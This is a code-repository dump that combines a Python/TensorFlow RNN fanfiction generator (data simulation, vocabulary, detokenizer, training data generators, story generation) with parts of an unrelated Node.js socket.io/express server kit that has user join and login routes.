uppercase = False
return '{} {} felt {}.'.format(adverb, self.get_name(uppercase), self.mood.name)
def go_to(self, location, transition):
self.location = location
return '{} {} {}.'.format(self.get_name(), transition, location)
def pc_action_in(self, past_cont_action, location):
self.state = past_cont_action
self.location = location
return '{} was {} in {}.'.format(self.get_name(), self.state, location)
def mood_elaborate(self):
action = self.mood_action()
statement = self.mood_statement()
return '{}\n{}'.format(action, statement)
def mood_action(self):
action = '{} was so {} that {} {}.'.format(self.get_name(), \
self.mood.name, self.get_pronoun(False), self.mood.get_random_action())
return action
def mood_statement(self):
statement = '\'{}\' - {} said.'.format(self.mood.get_random_statement(), \
self.get_name(False))
return statement
def ask_question(self, actor2, question):
return '\'{}\' {} asked {}.'.format(question, self.get_name(False), actor2.get_name())
def make_dialog(self, actor2):
lines = rd.randint(3,6)
actors = [self, actor2]
index = 0
dialog = ''
for l in range(lines):
dialog += '\'{}\''.format(actors[index].mood.get_random_dialog())
if l == 0:
dialog += ' {} said.'.format(actors[index].get_name(False))
if l != lines-1:
dialog += '\n'
index = (index+1) % 2
return dialog
<file_sep>from simulation.generate_story import generate_stories
import argparse
import os
import random as rd
def main():
rd.seed()
parser = argparse.ArgumentParser()
parser.add_argument('output_dir', help='Output directory for generated simulations.')
parser.add_argument('number_of_stories', help='Number of stories to generate.',
type=int)
args = parser.parse_args()
if not os.path.exists(args.output_dir):
print('Directory {} has been created.')
os.makedirs(args.output_dir)
stories = generate_stories(args.number_of_stories, do_tokenize=False)
for i, s in enumerate(stories):
filename = os.path.join(args.output_dir, 'Story_{}'.format(i))
with open(filename, 'w') as f:
f.write(s)
if __name__ == '__main__':
main()
<file_sep>import os
import json
def create_vocab(data_dir, vocab_size=1000):
stories_dir = os.path.join(data_dir, 'stories')
vocab_filename = os.path.join(data_dir, 'vocabulary')
vocab_upper_filename = os.path.join(data_dir, 'vocabulary_uppercase')
vocabulary = {}
for filename in os.listdir(stories_dir):
data_file = os.path.join(stories_dir, filename)
with open(data_file, 'r') as f:
for line in f:
for word in line.split():
word_original = word
word = word.lower()
if word not in vocabulary:
vocabulary[word] = [0, 0]
vocabulary[word][0] += 1
if word_original[0].isupper():
vocabulary[word][1] += 1
sorted_vocabulary = sorted(vocabulary.items(), key=lambda x: x[1][0], reverse=True)
most_common = sorted_vocabulary[:vocab_size]
vocab_uppercase_map = {s[0]: (s[1][1] / s[1][0] > 0.5) for s in most_common}
with open(vocab_filename, 'w') as f:
for (word, count) in most_common:
f.write(word)
f.write('\n')
with open(vocab_upper_filename, 'w') as f:
json.dump(vocab_uppercase_map, f)
<file_sep>import json
PUNCT = ['.', ',', '?', '!', ';']
CLOSING_PUNCT = ['\"', ')']
OPENING_PUNCT = ['``', '(']
EOS_PUNCT = ['.', '?', '!']
def should_join(word1, word2):
# word2 is shortcut
if '\'' in word2 and len(word2) <= 3:
return True
# word2 is punctuation
if word2 in PUNCT:
return True
# word2 in closing punctuation
if word2 in CLOSING_PUNCT:
return True
# word1 in opening punctuation
if word1 in OPENING_PUNCT:
return True
return False
def to_upper_if_needed(word, after_eos, vocab_uppercase_map):
if len(word) > 0 and word.isalpha() and (vocab_uppercase_map.get(word) or after_eos):
word = word[0].upper() + word[1:]
return word
def detokenize(story, vocab_uppercase_map):
is_eos = True
lines = story.split('\n')
n_story = ''
for line in lines:
words = line.split()
if len(words) == 0:
continue
upper_words = []
joined_words = []
for word in words:
n_word = to_upper_if_needed(word, is_eos, vocab_uppercase_map)
upper_words.append(n_word)
if n_word.isalpha():
is_eos = False
if n_word in EOS_PUNCT:
is_eos = True
last = upper_words[0]
for i in range(1, len(upper_words)):
to_join = should_join(last, upper_words[i])
if to_join:
last += upper_words[i]
else:
joined_words.append(last)
last = upper_words[i]
joined_words.append(last)
n_story += ' '.join(joined_words)
n_story += '\n'
return n_story
<file_sep># neural-fanfiction-generator
Encoder-decoder RNN model for automatic fanfiction generation. Created by <NAME> ([dokaptur](https://github.com/dokaptur)) and <NAME> ([gbouchar](https://github.com/gbouchar))
## Prerequisits
1. Python 3.5
2. tensorflow 0.9
3. nltk 3.0
## Usage
Before using any code from this repository it's important to set the environmental variable PYTHONPATH to the root of this project.
### Generating data
To train this model one needs data, that is corpora of fanfictions or other stories. If you don't have your own data, you can generate simulated fanfictions using python script *scripts/generate_simulations.py*. It takes two positional arguments:
output directory for generated simulations and the number of stories to generate.
Example:
```bash
python scripts/generate_simulations.py /tmp/data 500
```
It will create an output directory if it does not already exist and create required number of stories, each in one file.
### Preprocessing and data preparation
The model needs tokenized stories (both training and validation set), vocabulary and the information for each word if it's a named entity and thus should be generated using uppercase. Additionally, the directory containing data should be structured as follows:
```
|-- vocabulary
|-- vocabulary_uppercase
|-- stories
|-- <story1>
|-- <story2>
...
|-- test
|-- stories
|-- <story1>
|-- <story2>
...
```
The script *scripts/prepare_data.py* prepares the data in a way described above. It takes
four positional arguments: a directory containing stories (like tho one created in a previous step), output directory for processed data, size of the vocabulary to create (it takes *n* most popular words, the rest is replaced later by the UNKNOWN token) and the number of stories for validation set.
Example:
```
python scripts/prepare_data.py /tmp/data /tmp/simulations 1000 50
```
### Training
To train the model one can use the script *scripts/learn.py*. It takes two positional arguments: directory containing data (structured as by the *prepare_data* script) and output directory for the trained model. Additionally it takes a lot of optional arguments which can change values of most of the model parameters. Type
```
python scripts/learn.py --help
```
to learn more about all of optional parameters.
Example:
```
python scripts/learn.py /tmp/simualtions /tmp/model --warm_start --n_layers=2 --hidden_size=31 --emb_dim=11
```
### Generating stories
Once the model has been trained, one can generate a brand new story using the script *scripts/generate.py*. It takes the same positional arguments as the learning script. Data directory is needed for vocabulary files and a path to the trained model should contain files created by tensorflow while saving the graph. It's important that the files follow the naming convention used in this repo, that is model name should contain information about model parameters.
Additionally one can use optional parameters to determine sampling and set the first sentence of the generated story.
Example:
```
python scripts/generate.py /tmp/simualtions /tmp/model
```
<file_sep>import bisect
import os
import sys
import numpy as np
import tensorflow as tf
from itertools import takewhile
from learning.detokenizer import detokenize
from learning.data_generators import FixedDataGenerator, encode_sentence, \
create_context, load_story, bag_of_words, normalize_bow, \
EOS_TOK, UNKNOWN_TOK, PADDING, EOD_TOK
from models.encdec_model import create_prediction_graph, create_training_graph
def generate_next_word(session, ops, choices, sample=True, exclude_unknown_token=True,
unknown_int=3, exclude_padding=False, padding_int=0, n_best=10):
probs = session.run(ops[6])
sums = np.sum(probs, axis=1)
assert(np.min(sums) > 0.97 and np.max(sums) < 1.03)
if exclude_unknown_token:
probs = np.delete(probs, [unknown_int], axis=1)
if exclude_padding:
probs = np.delete(probs, [padding_int], axis=1)
if sample:
dim0, dim1 = probs.shape
if n_best > 0:
best_prob_indices = np.argsort(probs, axis=1)[:, -n_best:]
probs = probs[np.reshape(np.arange(dim0), (dim0, 1)), best_prob_indices]
else:
best_prob_indices = np.repeat([np.arange(dim1)], dim0, axis=0)
cumsums = np.cumsum(probs, axis=1)
reindex_samples = [bisect.bisect(row, row[-1] * np.random.rand())
for row in cumsums]
samples = best_prob_indices[np.arange(dim0), reindex_samples]
else:
samples = np.argmax(probs, axis=1)
if exclude_unknown_token:
samples = [i if i < unknown_int else i + 1 for i in samples]
if exclude_padding:
samples = [i + 1 for i in samples]
w = session.run(ops[5], feed_dict={choices.name: samples})
session.run(ops[2:4])
return w
def generate_whole_story(session, conf, data_generator, placeholders, ops, sample=False,
first_sentences=None, sample_from=10):
eos_tok_int = data_generator.vocab.string_to_int(EOS_TOK)
eod_tok_int = data_generator.vocab.string_to_int(EOD_TOK)
unknown_int = data_generator.vocab.string_to_int(UNKNOWN_TOK)
input_seq, choices, bow_vectors = placeholders
stories = []
n_stories = data_generator.n_stories
for i in range(conf.batch_size):
if first_sentences is None:
story_filename = data_generator.story_files[np.random.randint(0, n_stories)]
first_sentence = load_story(story_filename)[0]
else:
first_sentence = first_sentences[i]
encoded_first_sentence = encode_sentence(first_sentence, data_generator.vocab)
stories.append([encoded_first_sentence])
bow = [np.zeros(len(data_generator.vocab)) for _ in range(conf.batch_size)]
normalized_bow = [np.zeros(len(data_generator.vocab)) for _ in range(conf.batch_size)]
sl = 0
eod = [False for _ in range(conf.batch_size)]
while sl < 100 and (sl < 3 or (not np.all(eod))):
sl += 1
for i in range(conf.batch_size):
bow[i] += bag_of_words(bow[i], stories[i][-1], data_generator.use_in_bow)
normalized_bow[i] = normalize_bow(bow[i])
x = [create_context(story, data_generator.vocab, conf.input_length) for story in stories]
session.run(ops[0:2], {input_seq.name: x, bow_vectors.name: bow})
preds = []
for i in range(conf.output_length):
if sample is None:
sample = bool(np.random.randint(2))
w = generate_next_word(session, ops, choices, sample, unknown_int=unknown_int,
exclude_padding=(i < 3), n_best=sample_from)
preds.append(w)
y_pred = np.vstack(preds).transpose()
for i in range(conf.batch_size):
if eod[i] and sl > 3:
next_sentence = []
else:
next_sentence = list(takewhile(lambda c: c != eos_tok_int, y_pred[i]))
if eod_tok_int in y_pred[i]:
eod[i] = True
if len(next_sentence) < len(y_pred[i]):
next_sentence.append(eos_tok_int)
stories[i].append(next_sentence)
decoded_stories = []
for i, story in enumerate(stories):
story_text = ''
for sentence in story:
decoded_sentence = data_generator.decode_data(sentence, skip_specials=True)
if decoded_sentence.strip() is not '':
story_text += decoded_sentence
story_text += '\n'
decoded_stories.append(story_text)
return decoded_stories
def get_perplexity(probs):
log_probs = np.log(probs)
avg_log_probs = np.mean(log_probs)
perplexity = np.exp(-avg_log_probs)
return perplexity
def evaluate_with_perplexity(session, conf, data_generator, placeholders, ops, choices,
use_random_data=False):
input_seq, bow_vectors = placeholders
padding_int = data_generator.vocab.string_to_int(PADDING)
data_generator.restart()
data = [entry for entry in data_generator]
np.random.shuffle(data)
perplexities = []
for x, y, bow in data:
if use_random_data:
vocab_len = len(data_generator.vocab)
x = np.random.randint(vocab_len, size=x.shape)
y = np.random.randint(vocab_len, size=y.shape)
session.run(ops[0:2], {input_seq.name: x, bow_vectors.name: bow})
output_probs_all = []
for i in range(conf.output_length):
probs = session.run(ops[6])
samples = y[:, i]
output_probs = probs[range(conf.batch_size), samples]
session.run(ops[5], feed_dict={choices.name: samples})
session.run(ops[2:4])
output_probs_all.append(output_probs)
y_probs = np.vstack(output_probs_all).transpose()
for i in range(conf.batch_size):
no_padding_output_len = len(list(takewhile(lambda c: c != padding_int, y[i])))
if no_padding_output_len > 0:
perplexity = get_perplexity(y_probs[i, :no_padding_output_len])
perplexities.append(perplexity)
avg_perplexity = np.mean(perplexities)
return avg_perplexity
def main_generate(conf, all_data_dir, model_save_dir, first_sentences=None, sample=True,
output_filename=None, sample_from=10):
data_dir = os.path.join(all_data_dir, 'stories')
vocab_file = os.path.join(all_data_dir, 'vocabulary')
if output_filename is None:
output_file = sys.stdout
else:
output_filename = '{}_{}_{}'.format(output_filename, sample, sample_from)
output_file = open(os.path.join(model_save_dir, output_filename), 'w')
conf.batch_size = 1
data_generator = FixedDataGenerator(
conf.n_batches, conf.input_length, conf.output_length, conf.batch_size,
data_dir, vocab_file, generate_bow=True)
# with learnt model
vocabulary_size = len(data_generator.vocab)
# inputs to the graph
input_seq = tf.placeholder(np.int64, (conf.batch_size, conf.input_length), name='input_seq')
output_seq = tf.placeholder(np.int64, (conf.batch_size, conf.output_length), name='output_seq')
choices = tf.placeholder(np.int64, (conf.batch_size,), name='choices')
bow_vector = tf.placeholder(np.float32, (conf.batch_size, vocabulary_size), name='bow_input')
placeholders = (input_seq, output_seq, None, bow_vector)
placeholders_decoder = (input_seq, output_seq, choices, bow_vector)
create_training_graph(placeholders, vocabulary_size, conf.hidden_size, conf.emb_dim,
conf.n_layers, conf.learning_rate, conf.hidden_bow_dim,
use_bow=conf.use_bow)
saver = tf.train.Saver(tf.all_variables())
ops = create_prediction_graph(placeholders_decoder, vocabulary_size, conf.hidden_size,
conf.emb_dim, conf.n_layers, conf.hidden_bow_dim,
use_bow=conf.use_bow)
decoded_stories = []
with tf.Session() as session:
if tf.train.latest_checkpoint(model_save_dir):
saver.restore(session, tf.train.latest_checkpoint(model_save_dir))
print('Model restored from {}'.format(
tf.train.latest_checkpoint(model_save_dir)), file=output_file)
else:
print('ERROR: No model stored in {}'.format(model_save_dir), file=output_file)
return []
# prediction phase
n_data = 1
for i in range(n_data):
if first_sentences and i < len(first_sentences):
generator_init = first_sentences[i]
else:
generator_init = None
decoded_stories.extend(generate_whole_story(
session, conf, data_generator, (input_seq, choices, bow_vector), ops,
sample=sample, first_sentences=generator_init, sample_from=sample_from))
detokenized_stories = []
for st in decoded_stories:
detokenized_stories.append(detokenize(st, data_generator.vocab_uppercase_map))
return detokenized_stories
<file_sep>from learning.configs import BasicConfig
from learning.encdec_evaluate import main_generate
from simulation.generate_story import tokenize
import argparse
import os
import sys
def main():
conf = BasicConfig()
parser = argparse.ArgumentParser()
parser.add_argument('data_dir', help='Directory containing data.'
' It\'s structure should be the same as the one of the '
'output directory from prepare_data.py.')
parser.add_argument('saved_model_dir', help='Directory with the trained model.')
parser.add_argument('--sample_from',
help='Number of words with the highest likelihood we want to sample from.',
type=int, default=10)
parser.add_argument('--sample',
help='Set to 1 for sampling and 0 for argmax in generation phase.',
type=int, default=1)
parser.add_argument('--first_sentence',
help='First sentence of generated story.')
args = parser.parse_args()
if not os.path.exists(args.data_dir):
print('Data directory {} does not exist!'.format(args.data_dir))
sys.exit(1)
if not os.path.exists(args.saved_model_dir):
print('Saved model directory {} does not exist!'.format(args.data_dir))
sys.exit(1)
model_files = [f for f in os.listdir(args.saved_model_dir)]
for f in model_files:
if f.startswith('model'):
conf.parse_config_from_model_name(f)
break
print(conf.to_string())
first_sentence = None
if args.first_sentence is not None:
first_sentence = [[' '.join([w.lower() for w in tokenize(args.first_sentence).split()])]]
stories = main_generate(conf, args.data_dir, args.saved_model_dir,
first_sentences=first_sentence, sample=bool(args.sample),
sample_from=args.sample_from)
print('\n\n\nStory:\n')
print(stories[0])
if __name__ == '__main__':
main()<file_sep>from learning.indexer import Indexer
from collections import deque
from itertools import takewhile
import numpy as np
import os
import json
PADDING = ''
EOD_TOK = '<EOD>'
EOS_TOK = '<EOS>'
UNKNOWN_TOK = '<UNK>'
GO_TOK = '<GO>'
def create_context(encoded_story, vocab, input_dim):
i = len(encoded_story)
context = [vocab.string_to_int(PADDING) for _ in range(0, input_dim)]
free_space = len(context)
for j in range(i - 1, -1, -1):
l = len(encoded_story[j])
if l <= free_space:
context[free_space - l: free_space] = encoded_story[j]
free_space -= l
else:
context[: free_space] = encoded_story[j][l - free_space: l]
break
return context
def create_entries(encoded_story, vocab, use_in_bow, input_dim, output_dim, use_go_tok=False,
use_last_sentence_only=False, generate_bow=False):
bows = []
if generate_bow:
bows = create_bows(encoded_story, len(vocab), use_in_bow)
entries = []
padding_int = vocab.string_to_int(PADDING)
go_int = vocab.string_to_int(GO_TOK)
for i in range(1, len(encoded_story)):
if use_last_sentence_only:
context = create_context(encoded_story[i-1:i], vocab, input_dim)
else:
context = create_context(encoded_story[:i], vocab, input_dim)
output = [padding_int for _ in range(output_dim)]
l = min(output_dim, len(encoded_story[i]))
output[:l] = encoded_story[i][:l]
if use_go_tok:
output.insert(0, go_int)
output = output[:output_dim]
if generate_bow:
entries.append((np.array(context), np.array(output), bows[i-1]))
else:
entries.append((np.array(context), np.array(output), None))
return entries
def bag_of_words(bow, words_to_add, use_in_bow):
current = bow.copy()
for w in words_to_add:
if w in use_in_bow:
current[w] += 1
return current
def decode_bow(bow, vocab):
results = []
for i in range(len(bow)):
results.append((bow[i], vocab.int_to_string(i)))
results = sorted(results, reverse=True)
return results
def normalize_bow(bow):
log_freqs = bow
norm = np.linalg.norm(log_freqs, 2)
if norm > 0:
log_freqs /= norm
return log_freqs
def create_bows(encoded_story, vocab_len, use_in_bow):
all_bows = []
prefix = np.zeros(vocab_len, dtype=np.float32)
# all_bows.append(prefix)
for i in range(len(encoded_story)-1):
current = bag_of_words(prefix, encoded_story[i], use_in_bow)
all_bows.append(current)
prefix = current
normalized_bows = []
for bow in all_bows:
normalized_bows.append(normalize_bow(bow))
return normalized_bows
def encode_with_default_unknown(word, vocab):
try:
return vocab.string_to_int(word.lower())
except KeyError:
return vocab.string_to_int(UNKNOWN_TOK)
def encode_sentence(sentence, vocab):
encodings = [encode_with_default_unknown(w, vocab) for w in sentence.split()]
return encodings
def encode_story(story, vocab):
res = []
for sentence in story:
encodings = encode_sentence(sentence, vocab)
encodings.append(vocab.string_to_int(EOS_TOK))
res.append(encodings)
if len(res) > 0:
res[-1].append(vocab.string_to_int(EOD_TOK))
return res
def decode_data(data, vocab, stop_at_eos=False, skip_specials=False):
words = [vocab.int_to_string(d) for d in data]
if skip_specials:
specials = [PADDING, EOS_TOK, EOD_TOK, UNKNOWN_TOK, GO_TOK]
words = [w for w in words if w not in specials]
if stop_at_eos:
words = list(takewhile(lambda x: x != EOS_TOK, words))
return ' '.join(words).strip()
def load_story(story_file):
with open(story_file) as f:
story = []
for line in f.readlines():
story.append(line.strip())
return story
class FixedDataGenerator(object):
"""
Class that generates data from already crated stories.
It provides always the same data, so it's good for debugging.
"""
def __init__(self, n_data, input_dim, output_dim, batch_size, data_dir, vocab_file,
wrap_in_batches=True, load_all_stories=False, generate_bow=False,
use_last_sentence_only=False):
self.i = 0
self.n_data = n_data
self.input_dim = input_dim
self.output_dim = output_dim
self.batch_size = batch_size
# Create vocabulary
self.stories = []
self.load_all_stories = load_all_stories
self.current_story = -1
self.story_files = [os.path.join(data_dir, f) for f in os.listdir(data_dir)]
self.n_stories = len(self.story_files)
if load_all_stories:
for story_file in self.story_files:
story = load_story(story_file)
self.stories.append(story)
self.vocab = Indexer()
specials = [PADDING, EOS_TOK, EOD_TOK, UNKNOWN_TOK, GO_TOK]
for token in specials:
self.vocab.string_to_int(token)
with open(vocab_file, 'r') as f:
for w in f:
w = w.lower().strip()
self.vocab.string_to_int(w)
self.vocab.freeze()
# cache for generated data
self.cache = deque()
self.wrap_in_batches = wrap_in_batches
self.generate_bow = generate_bow
self.use_last_sentence_only = use_last_sentence_only
if not wrap_in_batches:
self.batch_size = 1
self.idf = None
vocab_upper_filename = vocab_file + '_uppercase'
if os.path.exists(vocab_upper_filename):
with open(vocab_upper_filename) as f:
self.vocab_uppercase_map = json.load(f)
else:
self.vocab_uppercase_map = {}
self.use_in_bow = set()
for s, i in self.vocab.items():
if self.vocab_uppercase_map.get(s):
self.use_in_bow.add(i)
def __iter__(self):
return self
def __next__(self):
return self.next()
def restart(self, shuffle=True):
self.i = 0
self.current_story = -1
self.cache.clear()
if shuffle:
np.random.shuffle(self.stories)
np.random.shuffle(self.story_files)
def set_new_batch_size(self, batch_size):
self.batch_size = batch_size
self.restart()
def get_next_story(self, i):
if self.load_all_stories:
story = self.stories[i]
else:
story = load_story(self.story_files[i])
return story
def get_weights(self, data_batch):
padding_int = self.vocab.string_to_int(PADDING)
dims = data_batch.shape
two_dim_assert = self.wrap_in_batches and len(dims) == 2 and dims[0] == self.batch_size
one_dim_assert = (not self.wrap_in_batches) and len(dims) == 1
assert(two_dim_assert or one_dim_assert)
weights = np.ones(dims, dtype=np.float32)
for i in range(dims[0]):
if two_dim_assert:
for j in range(dims[1]):
word_code = data_batch[i][j]
if word_code == padding_int:
weights[i][j] = 0
else:
word_code = data_batch[i]
if word_code == padding_int:
weights[i] = 0
return weights
def next(self):
if self.i < self.n_data:
# not enough data in cache, we need to generate and prepare new story
while len(self.cache) < self.batch_size:
self.current_story += 1
if self.current_story == self.n_stories:
raise StopIteration
story = self.get_next_story(self.current_story)
encoded_story = self.encode_story(story)
entries = create_entries(encoded_story, self.vocab, self.use_in_bow,
self.input_dim, self.output_dim,
generate_bow=self.generate_bow,
use_last_sentence_only=self.use_last_sentence_only)
np.random.shuffle(entries)
self.cache.extend(entries)
# create input and output entry for training
self.i += 1
if self.wrap_in_batches:
inputs, outputs, bows = [], [], []
for i in range(self.batch_size):
entry = self.cache.popleft()
inputs.append(entry[0])
outputs.append(entry[1])
if self.generate_bow:
bows.append(entry[2])
if self.generate_bow:
return np.array(inputs), np.array(outputs), np.array(bows)
else:
return np.array(inputs), np.array(outputs), None
else:
entry = self.cache.popleft()
return entry
else:
raise StopIteration()
def encode_story(self, story):
return encode_story(story, self.vocab)
def decode_data(self, data, stop_at_eos=False, skip_specials=False):
return decode_data(data, self.vocab, stop_at_eos=stop_at_eos,
skip_specials=skip_specials)
| 0cc2f81391391a0bc07a3521d74a98e19608ebb5 | [
"Markdown",
"Python"
] | 18 | Python | dokaptur/neural-fanfiction-generator | 41b2305f96d97beb6752b306ebd8e05e14ffae12 | f4a99e50ef31165b008c3435887f4273e3de0bd7 |
refs/heads/main | <repo_name>kahmnkk/server-kit<file_sep>/.prettierrc.js
// links
// https://prettier.io/docs/en/configuration.html
// https://prettier.io/docs/en/ignore.html
// http://json.schemastore.org/prettierrc
// https://www.codereadability.com/automated-code-formatting-with-prettier/
module.exports = {
bracketSpacing: true,
jsxBracketSameLine: true,
singleQuote: true,
trailingComma: 'all',
tabWidth: 4,
arrowParens: 'always',
printWidth: 200,
};
<file_sep>/src/service/socketService.js
// npm
const socketio = require('socket.io');
const redisAdapter = require('socket.io-redis');
const redis = require('async-redis');
const uniqid = require('uniqid');
const express = require('express');
// Common
const config = require('@root/config');
const errors = require('@src/errors');
// Utils
const utils = require('@src/utils/utils');
const time = require('@src/utils/time');
const logger = require('@src/utils/logger');
// Database
const dbMgr = require('@src/database/dbMgr');
// Api Router
const routerUser = require('@src/api/user/index');
// Socket
const SocketMgr = require('@src/socket/socketMgr');
const messages = require('@src/socket/messages');
class SocketService {
constructor(options) {
this.port = options.port;
this.app = express();
this.http = require('http').createServer(this.app).listen(this.port);
this.http.keepAliveTimeout = 0;
// socket.io option
let option = {
pingInterval: 5000,
pingTimeout: 100000,
transport: ['polling', 'websocket'],
allowUpgrades: true,
reconnection: true,
reconnectionDelay: 1000,
reconnectionDelayMax: 5000,
reconnectionAttempts: 10,
};
this.io = socketio(this.http, option);
if (options.pubsubInfo != null) {
this.io.adapter(redisAdapter({ host: options.pubsubInfo.host, port: options.pubsubInfo.port }));
}
// express option
this.app.use(express.json());
this.app.use(express.urlencoded({ extended: true }));
this.app.use((req, res, next) => {
let reqs = {};
const txid = uniqid();
req['txid'] = txid;
res['txid'] = txid;
reqs['method'] = req.method;
reqs['path'] = req.path;
if (req.method == 'POST') {
reqs['params'] = req.body;
} else {
reqs['params'] = req.query;
}
logger.info('[' + req['txid'] + '] req: ' + JSON.stringify(reqs));
next();
});
this.app.use('/user', routerUser);
this.app.use((req, res, next) => {
let err = new Error('404 Not Found');
err['status'] = 404;
next(err);
});
this.app.use((err, req, res, next) => {
res.status(err['status'] || 500);
const data = {
message: err.message,
error: err,
};
logger.error('[' + req['txid'] + '] res: ' + JSON.stringify(data));
res.send(data);
});
this.app.set('port', this.port);
}
async init() {
await dbMgr.init();
await time.init(config.devTime);
await time.syncTime();
}
run() {
this.io.on('connect', (socket) => {
logger.info('[' + socket.id + '] socket connected');
for (let msg in messages) {
socket.on(msg, (data) => {
const socketMgr = new SocketMgr(socket, msg);
socketMgr.message(data);
});
}
socket.on('disconnect', () => {
logger.info('[' + socket.id + '] socket disconnected');
});
});
logger.info('socket service running.');
}
}
module.exports = SocketService;
<file_sep>/definePrototype.js
Object.defineProperty(Array.prototype, 'select', {
value: (closure) => {
for (let i = 0; i < this.length; ++i) {
if (closure(this[i])) {
return this[i];
}
}
return null;
},
});
Object.defineProperty(Object.prototype, 'deepFreeze', {
value: (object) => {
var propNames = Object.getOwnPropertyNames(object);
for (let name of propNames) {
let value = object[name];
object[name] = value && typeof value === 'object' ? Object.deepFreeze(value) : value;
}
return Object.freeze(object);
},
});
Object.defineProperty(Object.prototype, 'mergeIntersect', {
value: (to, from) => {
for (let k in from) {
if (to.hasOwnProperty(k) == true) {
to[k] = from[k];
}
}
return to;
},
});
Object.defineProperty(Object.prototype, 'mergeIntersectWithCalc', {
value: (to, from) => {
for (let k in from) {
if (to.hasOwnProperty(k) == true) {
let v = from[k];
if (v != null && v.constructor.name == 'String') {
const regexpCalc = new RegExp('^(?:[0-9]+\\s*[+\\-*/]\\s*' + k + '|' + k + '\\s*[+\\-*/]\\s*[0-9]+)$');
const matches = v.match(regexpCalc);
if (matches != null) {
v = v.replace(k, to[k]);
v = eval(v);
}
}
to[k] = v;
}
}
return to;
},
});
Object.defineProperty(global, '__stack', {
get: function () {
var orig = Error.prepareStackTrace;
Error.prepareStackTrace = function (_, stack) {
return stack;
};
var err = new Error();
Error.captureStackTrace(err, arguments.callee);
var stack = err.stack;
Error.prepareStackTrace = orig;
return stack;
},
});
Object.defineProperty(global, '__line', {
get: function () {
return __stack[1].getLineNumber();
},
});
Object.defineProperty(global, '__function', {
get: function () {
return __stack[1].getFunctionName();
},
});
<file_sep>/src/api/user/index.js
// Modules
const express = require('express');
const router = express.Router();
// Common
const errors = require('@src/errors');
// Api
const SessionMgr = require('@src/api/sessionMgr');
const routerUser = require('@src/api/user/router');
// Utils
const utils = require('@src/utils/utils');
const ROUTERS = {
join: 'join',
login: 'login',
};
async function index(req, res) {
const reqKeys = {
router: 'router',
data: 'data',
};
const resKeys = {
result: 'result',
};
const session = new SessionMgr(req, res);
const body = session.body;
try {
let response = {};
let reqRouter = body[reqKeys.router];
let reqDto = body[reqKeys.data];
if (reqDto == null) {
throw utils.errorHandling(errors.invalidRequestData);
}
if (typeof reqDto != 'object') {
reqDto = JSON.parse(reqDto);
}
let uid = null;
if (reqRouter == ROUTERS.join || reqRouter == ROUTERS.login) {
uid = session.create(req);
} else {
uid = session.getUid();
}
if (uid == null) {
throw utils.errorHandling(errors.sessionWrongAccess);
}
let resDto = null;
switch (reqRouter) {
case ROUTERS.join:
resDto = await routerUser.join(reqDto);
break;
case ROUTERS.login:
resDto = await routerUser.login(reqDto);
session.addValue(req, 'idx', resDto.idx);
break;
default:
throw utils.errorHandling(errors.invalidRequestRouter);
}
if (resDto == null) {
throw utils.errorHandling(errors.invalidResponseData);
}
response[resKeys.result] = resDto;
session.send(response);
} catch (err) {
session.error(err);
}
}
utils.setRoute(router, '/index', index);
module.exports = router;
<file_sep>/src/service/service.js
let service = {
api: null,
socket: null,
};
module.exports = service;
<file_sep>/src/api/user/router.js
// Common
const errors = require('@src/errors');
const dbMgr = require('@src/database/dbMgr');
// Utils
const utils = require('@src/utils/utils');
// Model
const Account = require('@src/model/account');
const User = require('@src/model/user');
class RouterUser {
constructor() {}
async join(reqDto) {
const reqKeys = {
id: 'id',
pw: 'pw',
nickname: 'nickname',
};
const resKeys = {
idx: 'idx',
};
let rtn = {};
if (utils.hasKeys(reqKeys, reqDto) == false) {
throw utils.errorHandling(errors.invalidRequestData);
}
const id = reqDto[reqKeys.id];
const pw = reqDto[reqKeys.pw];
const nickname = reqDto[reqKeys.nickname];
const account = new Account();
const validId = await account.validId(id);
if (validId == false) {
throw utils.errorHandling(errors.duplicatedAccountId);
}
const accResult = await account.createAccountInfo(id, pw);
const user = new User(accResult.user.idx);
const userResult = await user.createUserInfo(nickname);
const accQuery = dbMgr.getMultiSetFrame();
accQuery.conn = dbMgr.mysqlConn.master;
accQuery.query = accResult.query;
const userQuery = dbMgr.getMultiSetFrame();
userQuery.conn = dbMgr.mysqlConn.user;
userQuery.query = userResult.query;
await dbMgr.multiSet([accQuery, userQuery]);
rtn[resKeys.idx] = accResult.user.idx;
return rtn;
}
async login(reqDto) {
const reqKeys = {
id: 'id',
pw: 'pw',
};
const resKeys = {
idx: 'idx',
nickname: 'nickname',
createTime: 'createTime',
};
let rtn = {};
if (utils.hasKeys(reqKeys, reqDto) == false) {
throw utils.errorHandling(errors.invalidRequestData);
}
const id = reqDto[reqKeys.id];
const pw = reqDto[reqKeys.pw];
const account = new Account();
const accInfo = await account.getAccountInfoById(id);
if (accInfo == null) {
throw utils.errorHandling(errors.invalidAccountIdPw);
}
const validPw = await account.validAccount(pw, accInfo);
if (validPw == false) {
throw utils.errorHandling(errors.invalidAccountIdPw);
}
const user = new User(accInfo.idx);
const userInfo = await user.getUserInfo();
rtn[resKeys.idx] = userInfo.idx;
rtn[resKeys.nickname] = userInfo.nickname;
rtn[resKeys.createTime] = userInfo.createTime;
return rtn;
}
}
module.exports = new RouterUser();
<file_sep>/src/utils/utils.js
// npm
const rp = require('request-promise');
const config = require('@root/config');
const errors = require('@src/errors');
class Utils {
constructor() {}
isEmptyObject(arg) {
return this.getType(arg) == 'object' && Object.keys(arg).length === 0;
}
isEmptyArray(arg) {
return this.getType(arg) == 'array' && arg.length === 0;
}
/**
*
* @param {object} a
* @param {object} b
* @returns {boolean}
*/
sameKeysObject(a, b) {
let rtn = false;
let aLen = 0,
bLen = 0;
if (this.getType(a) == 'object' && this.getType(b) == 'object') {
aLen = Object.keys(a).length;
bLen = Object.keys(b).length;
}
if (aLen > 0 && bLen > 0) {
let cnt = 0;
for (let i in a) {
if (b.hasOwnProperty(i) == false) {
break;
}
cnt++;
}
if (cnt == aLen) {
rtn = true;
}
}
return rtn;
}
/**
*
* @param {object} asis
* @param {object} tobe
* @returns {object} pairs of different keys
* @see
* asis = {a: 1, b: undefined, d: 4}
* tobe = {a: '1', b: 2, c: 3, d: 4}
* diffObject(asis, tobe) = { a: '1', b: 2, c: 3 }
*/
diffObject(asis, tobe) {
let rtn = {};
for (let i in tobe) {
if (asis.hasOwnProperty(i) == false || asis[i] !== tobe[i]) {
rtn[i] = tobe[i];
}
}
return rtn;
}
hasKeys(keys, values) {
for (let k in keys) {
if (values[k] == null) {
return false;
}
}
return true;
}
/**
* check only has keys
*
* @param {Array} needles keys for search
* @param {Object} haystack search container
* @returns {boolean}
* @see
* checkKeys(['a'], {"a": 1, "c": null}) > true
